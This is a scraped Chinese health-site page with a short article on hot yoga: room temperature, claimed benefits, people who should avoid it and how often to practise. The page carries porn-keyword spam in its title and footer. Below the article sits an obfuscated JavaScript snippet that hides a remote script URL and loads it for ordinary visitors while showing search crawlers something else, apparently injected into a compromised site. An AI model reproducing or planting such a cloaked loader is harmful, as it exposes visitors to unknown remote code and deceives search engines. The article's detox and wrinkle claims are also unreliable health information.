久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

練習高溫瑜伽注意事項是什么?

2017-06-12 17:30:17  來源:360常識網   熱度:
導語:現在很多人都很喜歡在家練習瑜伽,瑜伽是一種非常新興又時髦的運動方式,通過練習瑜伽,不僅能夠提高人的身體素質,鍛煉身體,還能夠塑造身

現在很多人都很喜歡在家練習瑜伽,瑜伽是一種非常新興又時髦的運動方式,通過練習瑜伽,不僅能夠提高人的身體素質,鍛煉身體,還能夠塑造身體的體型,有一定的減肥瘦身的功效,而且現在瑜伽的方式也有很多,高溫瑜伽就是其中的一種,今天小編就給大家來具體介紹一下吧!

高溫瑜珈是將人置于38~42℃且濕度會隨著溫度的變化相應變化的通風良好的環境中,練習高溫瑜珈時,身處高溫的房間中,短時間內身體會出很多汗,加快了人體新陳代謝,排除體內毒素。除了一定的減肥作用,高溫瑜珈還能令體內腺體活動正常化,甚至可減少面部皺紋。

不過,高溫瑜珈并非人人都適合練習。專家認為,高溫瑜珈非常適合長期缺乏運動的人。40℃左右的室內溫度可以加快血液循環,柔軟因缺少運動而變硬的肌肉和筋骨。這樣,即使是平時缺少運動的身體,也能更輕易完成不同的伸展動作,不易受傷。

有四類人群不宜練習高溫瑜珈:患有嚴重感冒、發燒、腎病、糖尿病、肝病、心臟病、高血壓者;大病初愈者或剛進行手術者;嚴重吸煙者和飲酒過量者;服用感冒藥或減肥藥者。

練習高溫瑜珈身體消耗較大,每周不宜超過兩次。練習中要聽從接受過正規專業瑜珈知識培訓的教練指導,并加強對咽喉部的滋潤護理,以免呼吸系統受到損害。

很多人在練習瑜伽的時候,一味的只是為了追求那些花俏的動作,但是卻忽視了瑜伽本身,瑜伽主要是通過自己的呼吸方式,調整自己的形體,如果一味的只是追求那些高超的動作,很容易造成一些身體的肌肉拉傷,是非常危險的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产欧美精品一区二区三区四区 | 欧美精品久久久久久久监狱 | 国产乱码精品一区二区三区忘忧草 | 国产欧美久久一区二区三区 | 亚洲视频免费 | 国产成人a v | www久久综合| 天堂√在线观看一区二区 | 四虎在线看片 | av天空 | 91人人人 | 欧美.com | 人妖av | 亚洲伦理| 日本免费一二区 | 国产一区二区三区久久久久久久 | 午夜精品久久久久久久久久蜜桃 | 综合二区| 国产有码| 精品人人 | 亚洲一级毛片 | 中文字幕久久精品 | 欧美日韩亚| 日韩高清国产一区在线 | 中文字幕亚洲电影 | 亚洲精品久久久久久久久久久 | 国产欧美日韩精品一区 | 日韩成人精品视频在线观看 | 日韩精品免费一区二区在线观看 | 成人久久久精品乱码一区二区三区 | 国产精品视频一区二区三区 | 日韩免费福利视频 | 免费的黄色网 | 亚洲国产成人在线 | 国产视频一区二区三区四区 | 超碰网址 | av一区在线观看 | www.久久久久久久久久久久 | 色免费视频 | 国产精品一区二区在线观看 | 日韩99 |